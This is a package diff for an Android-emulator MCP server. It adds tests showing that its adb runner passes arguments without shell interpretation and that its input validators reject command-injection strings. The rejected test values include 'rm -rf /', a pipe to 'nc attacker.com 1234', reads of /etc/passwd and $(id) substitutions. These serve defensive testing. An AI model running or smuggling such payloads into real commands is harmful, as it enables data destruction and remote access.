mcp-android-emulator 1.3.0 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +97 -0
- package/LICENSE +21 -21
- package/README.md +555 -524
- package/SECURITY.md +43 -0
- package/dist/adb/runner.d.ts +43 -0
- package/dist/adb/runner.js +87 -0
- package/dist/adb/validators.d.ts +29 -0
- package/dist/adb/validators.js +110 -0
- package/dist/index.d.ts +17 -2
- package/dist/index.js +446 -745
- package/package.json +50 -48
- package/src/adb/runner.ts +107 -0
- package/src/adb/validators.ts +125 -0
- package/src/index.ts +1463 -1814
- package/test/runner.test.ts +94 -0
- package/test/validators.test.ts +199 -0
- package/tsconfig.json +16 -16
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tests del runner — verifica que execFile recibe argv separado, no un
|
|
3
|
+
* string compuesto. Esto demuestra que el HOST está protegido contra
|
|
4
|
+
* command injection aunque los argumentos contengan metacaracteres.
|
|
5
|
+
*
|
|
6
|
+
* Nota: usamos un adb "falso" apuntando a un script de echo que imprime
|
|
7
|
+
* sus argumentos uno por línea — así podemos verificar exactamente qué
|
|
8
|
+
* argumentos recibió el binario.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
import { test, before, after } from "node:test";
|
|
12
|
+
import assert from "node:assert/strict";
|
|
13
|
+
import * as fs from "node:fs";
|
|
14
|
+
import * as os from "node:os";
|
|
15
|
+
import * as path from "node:path";
|
|
16
|
+
|
|
17
|
+
const IS_WINDOWS = process.platform === "win32";
|
|
18
|
+
|
|
19
|
+
// Skip estos tests en Windows: execFile no corre scripts (.cmd/.sh) sin
|
|
20
|
+
// shell:true, que es justo lo que el runner evita por diseño. En Linux
|
|
21
|
+
// (donde corre el servidor y el release real) los tests corren con un
|
|
22
|
+
// shebang POSIX. La verificación funcional en Windows no es crítica
|
|
23
|
+
// porque adb real se distribuye principalmente para Linux/macOS.
|
|
24
|
+
const SKIP_RUNNER_TESTS = IS_WINDOWS;
|
|
25
|
+
|
|
26
|
+
const FAKE_ADB_DIR = SKIP_RUNNER_TESTS
|
|
27
|
+
? ""
|
|
28
|
+
: fs.mkdtempSync(path.join(os.tmpdir(), "mcp-fake-adb-"));
|
|
29
|
+
const FAKE_ADB = SKIP_RUNNER_TESTS
|
|
30
|
+
? ""
|
|
31
|
+
: path.join(FAKE_ADB_DIR, "fake-adb.sh");
|
|
32
|
+
|
|
33
|
+
function installFakeAdb() {
|
|
34
|
+
const content = '#!/bin/sh\nfor a in "$@"; do echo "$a"; done\n';
|
|
35
|
+
fs.writeFileSync(FAKE_ADB, content);
|
|
36
|
+
fs.chmodSync(FAKE_ADB, 0o755);
|
|
37
|
+
process.env.ADB_PATH = FAKE_ADB;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
before(() => {
|
|
41
|
+
if (SKIP_RUNNER_TESTS) return;
|
|
42
|
+
installFakeAdb();
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
after(() => {
|
|
46
|
+
if (SKIP_RUNNER_TESTS) return;
|
|
47
|
+
try {
|
|
48
|
+
fs.rmSync(FAKE_ADB_DIR, { recursive: true, force: true });
|
|
49
|
+
} catch { /* ignore */ }
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
if (SKIP_RUNNER_TESTS) {
|
|
53
|
+
test("runner tests skipped on Windows (execFile cannot run scripts without shell)", { skip: true }, () => {});
|
|
54
|
+
} else {
|
|
55
|
+
// Importar DESPUÉS de setear ADB_PATH; el módulo lo lee en import time.
|
|
56
|
+
const { runAdb, runAdbShell } = await import("../src/adb/runner.ts");
|
|
57
|
+
|
|
58
|
+
test("runAdb passes each argument separately to adb binary", async () => {
|
|
59
|
+
const out = await runAdb(["arg1", "arg2 with spaces", "arg3"]);
|
|
60
|
+
assert.equal(out, "arg1\narg2 with spaces\narg3");
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
test("runAdb does NOT interpret shell metacharacters on the host", async () => {
|
|
64
|
+
const out = await runAdb(["hello; id"]);
|
|
65
|
+
assert.equal(out, "hello; id");
|
|
66
|
+
assert.ok(!out.includes("uid="), "should not contain uid= (would indicate id ran)");
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
test("runAdb protects against $(...) command substitution on host", async () => {
|
|
70
|
+
const out = await runAdb(["test$(id)"]);
|
|
71
|
+
assert.equal(out, "test$(id)");
|
|
72
|
+
assert.ok(!out.includes("uid="));
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
test("runAdb protects against backtick command substitution on host", async () => {
|
|
76
|
+
const out = await runAdb(["test`id`"]);
|
|
77
|
+
assert.equal(out, "test`id`");
|
|
78
|
+
assert.ok(!out.includes("uid="));
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
test("runAdbShell prepends 'shell' as first argument", async () => {
|
|
82
|
+
const out = await runAdbShell(["pm", "list", "packages"]);
|
|
83
|
+
const lines = out.split("\n");
|
|
84
|
+
assert.equal(lines[0], "shell");
|
|
85
|
+
assert.equal(lines[1], "pm");
|
|
86
|
+
assert.equal(lines[2], "list");
|
|
87
|
+
assert.equal(lines[3], "packages");
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
test("runAdbShell requires at least one argument", async () => {
|
|
91
|
+
// Este caso no depende de ejecutar adb — se valida antes.
|
|
92
|
+
await assert.rejects(() => runAdbShell([]), /requires at least one argument/);
|
|
93
|
+
});
|
|
94
|
+
}
|
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tests de validators — asegura que los allowlists rechazan payloads
|
|
3
|
+
* con metacaracteres shell y aceptan valores legítimos.
|
|
4
|
+
*
|
|
5
|
+
* Finalidad: garantizar que la segunda línea de defensa (allowlist zod)
|
|
6
|
+
* bloquea command injection antes de llegar al runner.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
import { test } from "node:test";
|
|
10
|
+
import assert from "node:assert/strict";
|
|
11
|
+
import {
|
|
12
|
+
packageNameSchema,
|
|
13
|
+
apkPathSchema,
|
|
14
|
+
resourceIdSchema,
|
|
15
|
+
typeableTextSchema,
|
|
16
|
+
searchFilterSchema,
|
|
17
|
+
} from "../src/adb/validators.ts";
|
|
18
|
+
|
|
19
|
+
// ---------------------------------------------------------------------------
|
|
20
|
+
// packageNameSchema
|
|
21
|
+
// ---------------------------------------------------------------------------
|
|
22
|
+
test("packageNameSchema accepts valid Android package names", () => {
|
|
23
|
+
const valid = [
|
|
24
|
+
"com.android.chrome",
|
|
25
|
+
"com.example.app",
|
|
26
|
+
"org.mozilla.firefox",
|
|
27
|
+
"a.b",
|
|
28
|
+
"com.company_x.app_y",
|
|
29
|
+
];
|
|
30
|
+
for (const p of valid) {
|
|
31
|
+
assert.equal(packageNameSchema.safeParse(p).success, true, `should accept "${p}"`);
|
|
32
|
+
}
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
test("packageNameSchema rejects shell-metachar payloads", () => {
|
|
36
|
+
const malicious = [
|
|
37
|
+
"com.x; rm -rf /",
|
|
38
|
+
"com.x && id",
|
|
39
|
+
"com.x | nc attacker.com 1234",
|
|
40
|
+
"com.x`whoami`",
|
|
41
|
+
"com.x$(id)",
|
|
42
|
+
"com.x\nid",
|
|
43
|
+
"com.x > /tmp/pwn",
|
|
44
|
+
"com.x < /etc/passwd",
|
|
45
|
+
'com.x"id"',
|
|
46
|
+
"com.x'id'",
|
|
47
|
+
"com.x\\id",
|
|
48
|
+
"", // empty
|
|
49
|
+
"a", // too short
|
|
50
|
+
"no_dot", // missing dot
|
|
51
|
+
".starts.with.dot",
|
|
52
|
+
"ends.with.dot.",
|
|
53
|
+
"1starts.with.num",
|
|
54
|
+
];
|
|
55
|
+
for (const p of malicious) {
|
|
56
|
+
assert.equal(
|
|
57
|
+
packageNameSchema.safeParse(p).success,
|
|
58
|
+
false,
|
|
59
|
+
`should reject "${p}"`
|
|
60
|
+
);
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
// ---------------------------------------------------------------------------
|
|
65
|
+
// apkPathSchema
|
|
66
|
+
// ---------------------------------------------------------------------------
|
|
67
|
+
test("apkPathSchema accepts valid .apk paths", () => {
|
|
68
|
+
const valid = [
|
|
69
|
+
"/tmp/app.apk",
|
|
70
|
+
"/home/user/downloads/my-app.apk",
|
|
71
|
+
"C:/temp/app.apk",
|
|
72
|
+
"relative/path/app.apk",
|
|
73
|
+
];
|
|
74
|
+
for (const p of valid) {
|
|
75
|
+
assert.equal(apkPathSchema.safeParse(p).success, true, `should accept "${p}"`);
|
|
76
|
+
}
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
test("apkPathSchema rejects non-apk or malicious paths", () => {
|
|
80
|
+
const bad = [
|
|
81
|
+
"/tmp/app.exe",
|
|
82
|
+
"/tmp/app.apk; rm -rf /",
|
|
83
|
+
"/tmp/app.apk && id",
|
|
84
|
+
"/tmp/$(id).apk",
|
|
85
|
+
"/tmp/`id`.apk",
|
|
86
|
+
"not-an-apk",
|
|
87
|
+
"",
|
|
88
|
+
];
|
|
89
|
+
for (const p of bad) {
|
|
90
|
+
assert.equal(apkPathSchema.safeParse(p).success, false, `should reject "${p}"`);
|
|
91
|
+
}
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
// ---------------------------------------------------------------------------
|
|
95
|
+
// resourceIdSchema
|
|
96
|
+
// ---------------------------------------------------------------------------
|
|
97
|
+
test("resourceIdSchema accepts valid Android resource ids", () => {
|
|
98
|
+
const valid = [
|
|
99
|
+
"com.app:id/button_login",
|
|
100
|
+
"com.example.app:id/edit_email",
|
|
101
|
+
"android:id/button1",
|
|
102
|
+
];
|
|
103
|
+
for (const r of valid) {
|
|
104
|
+
assert.equal(resourceIdSchema.safeParse(r).success, true, `should accept "${r}"`);
|
|
105
|
+
}
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
test("resourceIdSchema rejects malformed or malicious ids", () => {
|
|
109
|
+
const bad = [
|
|
110
|
+
"com.app:id/button; id",
|
|
111
|
+
"com.app:id/$(id)",
|
|
112
|
+
"no-colon",
|
|
113
|
+
"com.app:id/",
|
|
114
|
+
"",
|
|
115
|
+
];
|
|
116
|
+
for (const r of bad) {
|
|
117
|
+
assert.equal(resourceIdSchema.safeParse(r).success, false, `should reject "${r}"`);
|
|
118
|
+
}
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
// ---------------------------------------------------------------------------
|
|
122
|
+
// typeableTextSchema
|
|
123
|
+
// ---------------------------------------------------------------------------
|
|
124
|
+
test("typeableTextSchema accepts common inputs", () => {
|
|
125
|
+
const valid = [
|
|
126
|
+
"hello world",
|
|
127
|
+
"user@example.com",
|
|
128
|
+
"password-123",
|
|
129
|
+
"Claude_v2+",
|
|
130
|
+
"search query",
|
|
131
|
+
"",
|
|
132
|
+
"phone: +51-987-654-321",
|
|
133
|
+
];
|
|
134
|
+
for (const t of valid) {
|
|
135
|
+
assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
|
|
136
|
+
}
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
test("typeableTextSchema accepts unicode/i18n text (acentos, ñ, emoji, CJK)", () => {
|
|
140
|
+
const valid = [
|
|
141
|
+
"niño",
|
|
142
|
+
"señor",
|
|
143
|
+
"contraseña",
|
|
144
|
+
"áéíóú ÁÉÍÓÚ",
|
|
145
|
+
"¿qué tal?",
|
|
146
|
+
"café",
|
|
147
|
+
"北京",
|
|
148
|
+
"こんにちは",
|
|
149
|
+
"Привет",
|
|
150
|
+
"hola 🚀 mundo",
|
|
151
|
+
"★ rating",
|
|
152
|
+
"résumé",
|
|
153
|
+
"naïve",
|
|
154
|
+
"Zürich",
|
|
155
|
+
];
|
|
156
|
+
for (const t of valid) {
|
|
157
|
+
assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
|
|
158
|
+
}
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
test("typeableTextSchema rejects shell-metachar payloads", () => {
|
|
162
|
+
const bad = [
|
|
163
|
+
"hello; id",
|
|
164
|
+
"hello && id",
|
|
165
|
+
"hello | sh",
|
|
166
|
+
"hello`whoami`",
|
|
167
|
+
"hello$(id)",
|
|
168
|
+
"hello'\"",
|
|
169
|
+
"hello > /tmp/x",
|
|
170
|
+
"hello\n",
|
|
171
|
+
"hello\r",
|
|
172
|
+
"hello<file",
|
|
173
|
+
];
|
|
174
|
+
for (const t of bad) {
|
|
175
|
+
assert.equal(typeableTextSchema.safeParse(t).success, false, `should reject "${t}"`);
|
|
176
|
+
}
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
// ---------------------------------------------------------------------------
|
|
180
|
+
// searchFilterSchema
|
|
181
|
+
// ---------------------------------------------------------------------------
|
|
182
|
+
test("searchFilterSchema accepts arbitrary printable strings (used in-process)", () => {
|
|
183
|
+
const valid = [
|
|
184
|
+
"chrome",
|
|
185
|
+
"com.google",
|
|
186
|
+
"error",
|
|
187
|
+
"Exception thrown",
|
|
188
|
+
"hola; y rm", // no llega al shell, se usa en JS
|
|
189
|
+
"",
|
|
190
|
+
];
|
|
191
|
+
for (const s of valid) {
|
|
192
|
+
assert.equal(searchFilterSchema.safeParse(s).success, true, `should accept "${s}"`);
|
|
193
|
+
}
|
|
194
|
+
});
|
|
195
|
+
|
|
196
|
+
test("searchFilterSchema rejects control characters and oversize", () => {
|
|
197
|
+
assert.equal(searchFilterSchema.safeParse("bad\x00null").success, false);
|
|
198
|
+
assert.equal(searchFilterSchema.safeParse("a".repeat(257)).success, false);
|
|
199
|
+
});
|
package/tsconfig.json
CHANGED
|
@@ -1,16 +1,16 @@
|
|
|
1
|
-
{
|
|
2
|
-
"compilerOptions": {
|
|
3
|
-
"target": "ES2022",
|
|
4
|
-
"module": "NodeNext",
|
|
5
|
-
"moduleResolution": "NodeNext",
|
|
6
|
-
"outDir": "./dist",
|
|
7
|
-
"rootDir": "./src",
|
|
8
|
-
"strict": true,
|
|
9
|
-
"esModuleInterop": true,
|
|
10
|
-
"skipLibCheck": true,
|
|
11
|
-
"forceConsistentCasingInFileNames": true,
|
|
12
|
-
"declaration": true
|
|
13
|
-
},
|
|
14
|
-
"include": ["src/**/*"],
|
|
15
|
-
"exclude": ["node_modules", "dist"]
|
|
16
|
-
}
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
"target": "ES2022",
|
|
4
|
+
"module": "NodeNext",
|
|
5
|
+
"moduleResolution": "NodeNext",
|
|
6
|
+
"outDir": "./dist",
|
|
7
|
+
"rootDir": "./src",
|
|
8
|
+
"strict": true,
|
|
9
|
+
"esModuleInterop": true,
|
|
10
|
+
"skipLibCheck": true,
|
|
11
|
+
"forceConsistentCasingInFileNames": true,
|
|
12
|
+
"declaration": true
|
|
13
|
+
},
|
|
14
|
+
"include": ["src/**/*"],
|
|
15
|
+
"exclude": ["node_modules", "dist"]
|
|
16
|
+
}
|